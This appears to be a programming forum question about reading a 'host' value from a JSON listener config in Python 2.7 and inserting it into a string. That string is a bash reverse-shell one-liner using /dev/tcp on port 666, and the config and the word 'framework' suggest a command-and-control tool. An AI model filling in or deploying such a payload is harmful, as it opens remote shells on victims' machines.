I am having issues with python 2.7. I have the following JSON file that I am trying to only pull the HOST variable from:
{
    "443": {
        "ssl": true,
        "host": "192.168.1.8",
        "cert": "v3ga.pem",
        "name": "Test",
        "open": false
    }
}
Further in my script, I have an item to which I would like to input ONLY the "host" IP as 192.168.1.8.
I have tried to use the following snippet which pulls all variables:
import json
from pprint import pprint
data = json.load(open('config/listener.json'))
pprint(data)
Which returns:
{
    "u'443'": {
        "u'cert'": "u'fruityc2.pem'",
        "u'host'": "u'192.168.1.8'",
        "u'name'": "u'Test'",
        "u'open'": false,
        "u'ssl'": true
    }
}
How would I insert this into ('0<&196;exec 196<>/dev/tcp/HOST/666; sh <&196 >&196 2>&196') so that it can print appropriately in the framework I am trying to create?
 
     
    